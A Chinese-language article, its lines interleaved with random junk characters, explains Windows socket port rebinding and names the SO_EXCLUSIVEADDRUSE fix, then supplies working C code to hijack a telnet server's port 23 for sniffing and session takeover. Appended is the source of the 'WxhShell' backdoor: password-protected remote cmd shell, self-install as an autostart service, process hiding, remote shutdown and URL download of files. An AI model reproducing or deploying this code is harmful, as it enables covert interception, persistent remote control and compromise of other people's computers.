在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
E5(Y*m! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ie(7m|. ' XF`&3i saddr.sin_family = AF_INET;
;Kf|a}m - %RN-J*s] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ay_D.gxz h Nle;&*F bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
JB+pFBeY ^kr)U8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%D
r?.e #:|Y(,c 这意味着什么?意味着可以进行如下的攻击:
cDiz!n*.q +29\'w, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{h"\JI!
@__;RVQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.=yus[,~ F[EblJ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
m GhJn &-fx=gq= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Jg:-TK/ mx9/K+: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7LwS =yP pQ
6#L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f~FehN7 `t1$Ew< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
b8.%? _? YfwJBzD #include
0s|LK #include
Qs9 U&*L #include
rk/
c #include
EYxRw DWORD WINAPI ClientThread(LPVOID lpParam);
5}xni int main()
xacLlX+ {
#/Fu*0/)` WORD wVersionRequested;
wYA/<0'yH DWORD ret;
Yp]G)}'R WSADATA wsaData;
Pp_3 nyQ BOOL val;
nb_^3K]r SOCKADDR_IN saddr;
2<G1'7) SOCKADDR_IN scaddr;
q|X4[E|{Q int err;
qffSq](D. SOCKET s;
f_!`~`04 SOCKET sc;
L~{Vt~H9" int caddsize;
Qe$>Jv5 HANDLE mt;
!><
%\K DWORD tid;
r`&|)Hx wVersionRequested = MAKEWORD( 2, 2 );
yim$y,=d err = WSAStartup( wVersionRequested, &wsaData );
?=!XhU
. if ( err != 0 ) {
.w_`d'} printf("error!WSAStartup failed!\n");
RQCQGa^cP return -1;
Kk>qgi$ }
5\0.[W{^ saddr.sin_family = AF_INET;
_IV@^v )v=G}j^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
cXcx_- (VaN\+I:T saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
RVnyl`s saddr.sin_port = htons(23);
h+3Z.WKhwP if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`4.sy +2 {
Ig3(|{R printf("error!socket failed!\n");
g]<Z]R` return -1;
OgN1{vRFx }
L4pjh&+8 val = TRUE;
=O#AOw` //SO_REUSEADDR选项就是可以实现端口重绑定的
rz}l<t~H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0BB@E(* {
rm=~^eB printf("error!setsockopt failed!\n");
:{s%=\k {d return -1;
{!1n5a3" 1 }
g!p_c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
G;HlII9x[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2c~?UK[1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^i+z_%V )L<?g!j~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
I?Jii8|W9 {
]jVSsSv ret=GetLastError();
Z;y}gv/{ printf("error!bind failed!\n");
s`iNbW=" return -1;
#* gU[9U~ }
>3`ctbe listen(s,2);
r.wIk0 while(1)
FPMSaN P {
rrY{Jf9> caddsize = sizeof(scaddr);
HS`bto0* //接受连接请求
k<'vP{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5d?!<(e6 if(sc!=INVALID_SOCKET)
}C{}oLz {
6Sb'Otw. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(>LHj]}K if(mt==NULL)
V1`5D7Z {
^Em@6fz[ printf("Thread Creat Failed!\n");
{|5$1v break;
LA+$_U"Jk }
?St=7a(D }
eY4`k CloseHandle(mt);
BH#C<0=" }
XJJ[F|k~ closesocket(s);
gl9pgY1ni WSACleanup();
@r/Id{pCI return 0;
8XYD
L]I' }
?BDlB0jxzi DWORD WINAPI ClientThread(LPVOID lpParam)
)"_Ff,9Z! {
#U$YZ#B SOCKET ss = (SOCKET)lpParam;
X&9^&U=e SOCKET sc;
DYAwQ"i;6 unsigned char buf[4096];
Pv7f
_hw SOCKADDR_IN saddr;
-yl4tW long num;
KO-Zz&2f DWORD val;
z[5Y
Z~}* DWORD ret;
[/AdeR //如果是隐藏端口应用的话,可以在此处加一些判断
k,;lyE //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Pu$kj"|q*[ saddr.sin_family = AF_INET;
j$|j8? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qP;{3FSkAF saddr.sin_port = htons(23);
o0aO0Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*X=@yB*aK {
L,L ~
.E printf("error!socket failed!\n");
r;cI}' return -1;
m6_~`)R8 }
Som.
qD val = 100;
[ GR|$/(z= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FtFv<UV {
C`NBHRa> ret = GetLastError();
V4`:Vci Aw return -1;
Ms:KM{T0 }
5w,lw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*or2 {
NIGB[2V( ret = GetLastError();
mh
A~eJ return -1;
'ZGT`'ri }
hF{x')(#l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
jU]]:S4xD/ {
`P ^u: printf("error!socket connect failed!\n");
&547`* closesocket(sc);
BaWQ<T8p8 closesocket(ss);
60hNCVq% return -1;
P\q <d }
R<n8M"B while(1)
L,C? gd@" {
aPD?Bh>JU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$z2xZqe //如果是嗅探内容的话,可以再此处进行内容分析和记录
"ib K1}- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
lL:KaQ 0E num = recv(ss,buf,4096,0);
)|U_Z"0H^ if(num>0)
bU;}!iVc] send(sc,buf,num,0);
saGRP}7? else if(num==0)
<=;H[}
e break;
FF%\gJ num = recv(sc,buf,4096,0);
DO7-=74= if(num>0)
&Pu+(~'Q send(ss,buf,num,0);
n9]IBIthe else if(num==0)
9GMH*=3[= break;
K-2.E }
+"k.E
x0: closesocket(ss);
x r-;,W closesocket(sc);
bK?1MiXb return 0 ;
RDUT3H6~ }
zW%>"y Z{Vxr*9oO FX%t ==========================================================
^~ Ekg:` gW%pM{PW 下边附上一个代码,,WXhSHELL
! 9d_Gf- #d7N| 9_ ==========================================================
!OPSS P]- ,9=gVW{ #include "stdafx.h"
C-Nuy1o J?._/RL8- #include <stdio.h>
qq
OxTG] #include <string.h>
fA"<MslKLK #include <windows.h>
&}vR(y*#c #include <winsock2.h>
h7bPAW=( #include <winsvc.h>
EfFz7j&X #include <urlmon.h>
gO+\O ~c9>Nr9|` #pragma comment (lib, "Ws2_32.lib")
j(0Ilx|7v #pragma comment (lib, "urlmon.lib")
S-isL4D.Z gzVtxDh #define MAX_USER 100 // 最大客户端连接数
6D/uo$1Y #define BUF_SOCK 200 // sock buffer
DW1@<X #define KEY_BUFF 255 // 输入 buffer
<(fdHQD!7> Xl#Dw bx #define REBOOT 0 // 重启
Wu4ot0SZ #define SHUTDOWN 1 // 关机
25aNC;J d2RnQA #define DEF_PORT 5000 // 监听端口
SXQ@;=]xV "Owct(9 #define REG_LEN 16 // 注册表键长度
rVUUH! #define SVC_LEN 80 // NT服务名长度
0yn[L3x7 n%F-cw // 从dll定义API
py]KTRzy typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
lwVk(l
Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
i*X{^A73" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Y^QKp" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
As0 B\ d'ZS;l // wxhshell配置信息
q<n[.u1@ struct WSCFG {
F;#zN int ws_port; // 监听端口
h aCKv char ws_passstr[REG_LEN]; // 口令
92ZWU2" int ws_autoins; // 安装标记, 1=yes 0=no
Ffnk1/Zy char ws_regname[REG_LEN]; // 注册表键名
Y!Drb-U?; char ws_svcname[REG_LEN]; // 服务名
o*X]b] char ws_svcdisp[SVC_LEN]; // 服务显示名
$50\"mo~z char ws_svcdesc[SVC_LEN]; // 服务描述信息
cC'
~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/dLA`=r Zx int ws_downexe; // 下载执行标记, 1=yes 0=no
$K})Q3FNi char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
d]8_l1O char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Q8;#_HE (/&;jV2DD[ };
Nu@5 kwH G%S6$@: // default Wxhshell configuration
/?Vdqci struct WSCFG wscfg={DEF_PORT,
_l<mu? " "xuhuanlingzhe",
cg,Ua!c 1,
@@Q6TB "Wxhshell",
[q1Unm "Wxhshell",
}g>kpa0c "WxhShell Service",
Y=E9zUF "Wrsky Windows CmdShell Service",
Rv,82iEKs "Please Input Your Password: ",
qYK4)JP 1,
@M=$qO_$9 "
http://www.wrsky.com/wxhshell.exe",
\]I "Wxhshell.exe"
#EJP(wXa };
Tp?-*K kae2 73" // 消息定义模块
?mMW*ico char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
vs+QbI6>- char *msg_ws_prompt="\n\r? for help\n\r#>";
-j&Vtr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.Rvf/-e char *msg_ws_ext="\n\rExit.";
OqBC/p
B char *msg_ws_end="\n\rQuit.";
p;0 PxL= char *msg_ws_boot="\n\rReboot...";
&iNS?1a%f= char *msg_ws_poff="\n\rShutdown...";
h$pk<< char *msg_ws_down="\n\rSave to ";
Q/py qe G DVh)w}v char *msg_ws_err="\n\rErr!";
ox[ .)v char *msg_ws_ok="\n\rOK!";
F}'wH-qp v5T`K=qC char ExeFile[MAX_PATH];
paWxanSt int nUser = 0;
TGf;_)El HANDLE handles[MAX_USER];
XFQNr` int OsIsNt;
m;o4Fu ($62o&I SERVICE_STATUS serviceStatus;
*g_w I%l SERVICE_STATUS_HANDLE hServiceStatusHandle;
h=6xZuA\ F+ukAT
// 函数声明
Q_]~0PoH int Install(void);
Ux}W&K/?' int Uninstall(void);
|gv{z" int DownloadFile(char *sURL, SOCKET wsh);
DtI$9`~ int Boot(int flag);
`*aBRwvK~ void HideProc(void);
Lc]1$ int GetOsVer(void);
2JZdw int Wxhshell(SOCKET wsl);
fQU{SjG void TalkWithClient(void *cs);
tuxRVV8l int CmdShell(SOCKET sock);
NEVp8)w int StartFromService(void);
s?c JV` int StartWxhshell(LPSTR lpCmdLine);
5/?P|T @7W?8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
qSTW b% VOID WINAPI NTServiceHandler( DWORD fdwControl );
xQU"A2{}> 3z3_7XI // 数据结构和表定义
.'j29 6[u SERVICE_TABLE_ENTRY DispatchTable[] =
$:EG%jl {
9i=B {wscfg.ws_svcname, NTServiceMain},
YJ,*(A18 {NULL, NULL}
(.?ZKL };
^m%52Tm
h w"8V0z // 自我安装
~}Z'0W)Q`z int Install(void)
% (<(Y {
aGK@)&h$ char svExeFile[MAX_PATH];
\u M? S HKEY key;
fu R2S70d strcpy(svExeFile,ExeFile);
Y:psZ dZ]Rqr
_! // 如果是win9x系统,修改注册表设为自启动
%dW%o{ if(!OsIsNt) {
|4mVT&63( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c)~h<=) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aSL6zye
, RegCloseKey(key);
$UvPo0{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`/4:I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uel{`T[S RegCloseKey(key);
J,5+47b1}R return 0;
x[X`a }
<a|@t@R }
dv!r. }
,j178EX else {
}y6q\#G #U ASH& // 如果是NT以上系统,安装为系统服务
pRi<cO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
C6jR=@42Q if (schSCManager!=0)
zN!j%T.e
{
BStk&b SC_HANDLE schService = CreateService
kOjf #@c (
Lm6**v schSCManager,
u =J&~ wscfg.ws_svcname,
~L{l+jK$p wscfg.ws_svcdisp,
VkZ.6kV SERVICE_ALL_ACCESS,
=Op+v" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(D7$$!} SERVICE_AUTO_START,
#;Tz[0 SERVICE_ERROR_NORMAL,
4W;S=#1 svExeFile,
(Rd$VYuf NULL,
gzdG6" NULL,
obo&1Uv,/ NULL,
80;n|nNB NULL,
lV6dm=k NULL
PsnGXcj );
ke%pZ7{u if (schService!=0)
8P2 J2IU {
)Gk`[*q ; CloseServiceHandle(schService);
s_Wyh
!@M CloseServiceHandle(schSCManager);
)T|L,Lp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:a0zT#u strcat(svExeFile,wscfg.ws_svcname);
lAi2,bz" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"G?Yrh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
d
6t:hn RegCloseKey(key);
9P WY52! return 0;
gfg n68k }
cWLqU }
A''pS CloseServiceHandle(schSCManager);
:/N+;- 18 }
/*rhtrS) }
09h.1/ Z?G&.# : return 1;
0-d>I@j }
/4irAG% Oj 5@!st // 自我卸载
-e]7n*}H$ int Uninstall(void)
z#6?8y2- {
,d_Gn! HKEY key;
.iwZ*b{ &
,hr8 if(!OsIsNt) {
YY5!_k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D Ml?o:l RegDeleteValue(key,wscfg.ws_regname);
?cy4&]s RegCloseKey(key);
@It>*B yB. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#,NvO!j<4 RegDeleteValue(key,wscfg.ws_regname);
#&
?g %' RegCloseKey(key);
Jkt4@h2Q} return 0;
6iA( o*'Yn }
"Cz<d w]D }
"TOa=Tt{, }
kg97S else {
:iF%cy. 9KuD(EJS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
v&
$k9)] if (schSCManager!=0)
[wnDHy6W {
,5Vt]#F5@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jp2Q9Z if (schService!=0)
r'7LR {
S<wj*"|.s if(DeleteService(schService)!=0) {
PoSpkJH CloseServiceHandle(schService);
a;AzY'R CloseServiceHandle(schSCManager);
Dt|)=a return 0;
EHf\L }
`'S0*kMT CloseServiceHandle(schService);
9 ;i\g= }
Cb;WZ3HR CloseServiceHandle(schSCManager);
3G}AH E4 }
5Wx~ZQZ }
aHzHvl b;cMl' return 1;
E%N2k|%8d_ }
zZ-\a[F r(A.<`\ // 从指定url下载文件
~ 5"JzT int DownloadFile(char *sURL, SOCKET wsh)
uBrMk {
?Bi*1V<R HRESULT hr;
:mcYZPX# char seps[]= "/";
f .
}c7 char *token;
5e8AmY8; char *file;
<.K4JlbT char myURL[MAX_PATH];
]e?x# <S char myFILE[MAX_PATH];
Ol_q{^ J Yb}Zw; strcpy(myURL,sURL);
2BXy<BM @ token=strtok(myURL,seps);
kS5_
while(token!=NULL)
fh8j2S9J {
&DG->$&| file=token;
w*9br SK token=strtok(NULL,seps);
1Tp/MV/> }
AM"jX"F9/ m7c*)"^ GetCurrentDirectory(MAX_PATH,myFILE);
pmvT$;7I strcat(myFILE, "\\");
HvwYm.$zE strcat(myFILE, file);
2-*V=El send(wsh,myFILE,strlen(myFILE),0);
,8'>R@o send(wsh,"...",3,0);
Z4K+ /<I hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B;6]NCxD if(hr==S_OK)
?4H#G)F return 0;
Z6C=T;w else
7R.Q
Ql return 1;
hOv={: _9H*agRe }
#hfuH=&oh Xl7aGlH // 系统电源模块
RrZM&lXY int Boot(int flag)
ZIR0PQh\ {
:# E*Y8- HANDLE hToken;
eK_*2=;XRW TOKEN_PRIVILEGES tkp;
`N//A}9 pL=d% m.W if(OsIsNt) {
sZWaV4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
B$3 ?K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/I5X"x tkp.PrivilegeCount = 1;
d,vNem-Z*L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
5vAf7\* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
AE`We$! if(flag==REBOOT) {
F;ZSzWq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/M~!sPW&? return 0;
=\#%j|9N9 }
PP~rn fE else {
z{"2S=" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
iB0WEj[? return 0;
u?Tpi[
# }
>SN|?|2U/ }
n~V4nj&_T else {
YIt& > if(flag==REBOOT) {
+x?#DH- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<^~FLjsfg return 0;
<e]Oa$ }
Z@8vL else {
,:fl?x.X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
l+V,DCE return 0;
\$aF&r<R }
c^rOImZ }
!UOCJj.cA KTvzOI8 return 1;
<^b7cOFQ }
Cz4)Yz ^JZ^>E~ // win9x进程隐藏模块
~U(,TjJb void HideProc(void)
|py6pek| {
ANIz,LS HkV1sT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-[= drj9I if ( hKernel != NULL )
k4qp u=@U {
[S.ZJUns pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Q%/<ZC.Mz6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
EM7+VO( FreeLibrary(hKernel);
P o jmC }
>@WX>0`ht 87}&` return;
qQpnLV 4 }
JOjoiA 8<mjh0F-, // 获取操作系统版本
Wv__ wZ int GetOsVer(void)
"dR|[a<#g {
B!gGK|8 OSVERSIONINFO winfo;
mcz+P | winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
pA{ 5V9 GetVersionEx(&winfo);
WwC 5!kZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Qr1e@ =B return 1;
!R*-R.% else
V`adWXu return 0;
\MxoZ }
<Dx]b*H |AlR^N // 客户端句柄模块
Lokl2o` int Wxhshell(SOCKET wsl)
2tROT][J% {
"MIq.@8ra SOCKET wsh;
,uzN4_7u struct sockaddr_in client;
izKfU?2]X@ DWORD myID;
C^QtSha `/Nm
2K while(nUser<MAX_USER)
J 5h+s-' {
[D5t{[i int nSize=sizeof(client);
sC[yI Up wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Soie^$
Y if(wsh==INVALID_SOCKET) return 1;
Mv c`)_Md Cf B.ZT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T#pk]c6Q if(handles[nUser]==0)
CF|]e: closesocket(wsh);
y*{Zbz#{ else
Rl|4S[ nUser++;
gX{loG }
TpA\9N#$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
fQLt=Lrp ,@m@S^ return 0;
A`{y9@h( }
[![%9'+P kt4d;4n // 关闭 socket
fF*`'i=! void CloseIt(SOCKET wsh)
=h(W4scgqX {
&[2U$ `P`V closesocket(wsh);
+.y
.Mp nUser--;
\D>$aLO*? ExitThread(0);
MxzLK%am }
%p&k5:4<"# b|SE<\ // 客户端请求句柄
E,n}HiAz7V void TalkWithClient(void *cs)
`:'w@(q {
lyCW=nc `[zQf SOCKET wsh=(SOCKET)cs;
XPB9~:: char pwd[SVC_LEN];
I ];M7 char cmd[KEY_BUFF];
ylKmj]A char chr[1];
9+,R`v int i,j;
t6c<kIQ:-O [P|[vWO while (nUser < MAX_USER) {
1_$xSrwcF :V)lbn\ if(wscfg.ws_passstr) {
B12$I:x` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C0=9K@FCb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
y}C`&nW[= //ZeroMemory(pwd,KEY_BUFF);
F_xbwa*= i=0;
#S%Q*k<hw while(i<SVC_LEN) {
y]%w )4PS `RMI(zI3g. // 设置超时
DoC(Z)o fd_set FdRead;
>pkT1Z&' struct timeval TimeOut;
|}){}or FD_ZERO(&FdRead);
6io , uh! FD_SET(wsh,&FdRead);
UZ8?[ TimeOut.tv_sec=8;
-st7_3 TimeOut.tv_usec=0;
EL3|u64GO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p2PY@d}}. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)pw&c_x *%Qn{x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
s08u @ pwd
=chr[0]; J==SZ v
if(chr[0]==0xd || chr[0]==0xa) { UR(-q
pwd=0; W~_t~Vg5
break; 5q@LxDy,b
} "i:T+#i({O
i++; %hlspI(J
} P#v*TD'
SPj><5Ro
// 如果是非法用户,关闭 socket B*!WrB:s
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4YZS"K'E
} zb6ju]2
ozsxXBh-`'
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z}SND9-"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PLM _#+R>
1
4LI5T
while(1) { K}[>T(0E
ck#"*],
ZeroMemory(cmd,KEY_BUFF); L]a`"CH:a$
VC5_v62&.
// 自动支持客户端 telnet标准 %tA57Pn>
j=0; F>]#}_
while(j<KEY_BUFF) { eUS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); doHF|<s
cmd[j]=chr[0]; 5>9Y|UU
if(chr[0]==0xa || chr[0]==0xd) { >Ps7I
cmd[j]=0; t+CWeCp,
break; T5wjU*=IL
} D j\e@?Y
j++; nZR!*$}A
} vUC!fIG
A5#y?Aq
// 下载文件 _eLWQ|6Fx
if(strstr(cmd,"http://")) { fJjgq)9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Oc9#e+_&
if(DownloadFile(cmd,wsh)) .AV)'j#6P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^GN8V-X4y
else Kr L>FI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m}VM+=
} jc_\'Gr+[
else { ~
aZedQc
4n
3Tp{Y}
switch(cmd[0]) { NGjdG=,
{u7##Vrgt8
// 帮助 ~E4"}n[3A#
case '?': { 8F;>5i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~7q uTp)
break; (.K\Jg'Y6j
} x)5V.q
// 安装 eR']#Q46{T
case 'i': { KB{RU'?f|
if(Install()) vnX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4.r^)\
else mXjgs8s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9-h.|T2il
break; eN0P9.eqM
} _X5_ez^/=
// 卸载 .R44$F
case 'r': { t[.W$1=
if(Uninstall()) ']51jabm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #;9H@:N
else |oKu=/[K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !7lj>B A>
break; WbjF]b\
} c $;\i
// 显示 wxhshell 所在路径
TmEYW<
case 'p': { y93k_iq$S
char svExeFile[MAX_PATH]; !MZw#=D`
strcpy(svExeFile,"\n\r"); P1 +"v*
strcat(svExeFile,ExeFile); _rQUE^9
send(wsh,svExeFile,strlen(svExeFile),0); #,f{Ok+
break; XL<
)v_
} $,1dQeE
// 重启 wV<7pi
case 'b': { &R$Q\,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -$Y8!5 4
if(Boot(REBOOT)) ^,s?e.u$8`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fhpX/WE6
else { V:
p)m&y6
closesocket(wsh); gqiXmMm:9
ExitThread(0); _pDjg%A>n
} = (U/CI
break; K\=8eg93Z
} "|LQK0q3
// 关机 Q49BU@xX
case 'd': { DMgBcP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a4GWuozl
if(Boot(SHUTDOWN)) dBEIMn@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nW;kcS*A
else { 3_ 2hC!u!K
closesocket(wsh); VAj<E0>
ExitThread(0); &/F_*=VE
} ?A=b6Um
break; 4^Qi2[ w
} 'qeP6}M
// 获取shell y,C!9l
case 's': { 6TFo|z!C
CmdShell(wsh); Ghv{'5w
closesocket(wsh); 9 pKm*n&
ExitThread(0); f'/ KMe%<
break; L=A\ J^%
} ~Yk"Hos
// 退出 K^D82tP
case 'x': { r#h {$iW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;<6"JP>0
CloseIt(wsh); !'c| N9
break; W7e4pR?w
} yjZ2 if
// 离开 JieU9lA^&B
case 'q': { PZ]5Hf1"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?MZ:_'2p
closesocket(wsh); ,?=KgG1i
WSACleanup(); qpgU8f
exit(1); #
cWHDRLX
break; ya>N.h
} `!Ln|_,d
} Y^eX@dEFR
} 2ij/N%l
6o
lV+
// 提示信息 1M+Zkak7p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O)<r>vqe}
} x-~-nn\O
} pI^=B-7
@a;sV!S{
return; Yk7"XP[Y
} twbcuaCTW
`QLowna
// shell模块句柄 '5WN,Vy8.
int CmdShell(SOCKET sock) i+U51t<
{ M7p8^NL
STARTUPINFO si; jeFN*r_
ZeroMemory(&si,sizeof(si)); 'Kd7l}e!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ( -2R{!A
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }:^X X0:FK
PROCESS_INFORMATION ProcessInfo; KZ\dB;W<|
char cmdline[]="cmd"; 6aSM*S)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _h~p:=
return 0; c%yh(g
} fv|%Ocm
N l|^o{#
// 自身启动模式 z|%Bh
int StartFromService(void) o}!&y?mp
{ e[p^p!a
typedef struct ,lP7 ri
{ #Y: ~UVV
DWORD ExitStatus; U,ELqi \
DWORD PebBaseAddress; %JaE4&
DWORD AffinityMask; +9~ZA3DiP
DWORD BasePriority; |0DP}
`~
ULONG UniqueProcessId; pP
oxVvG{
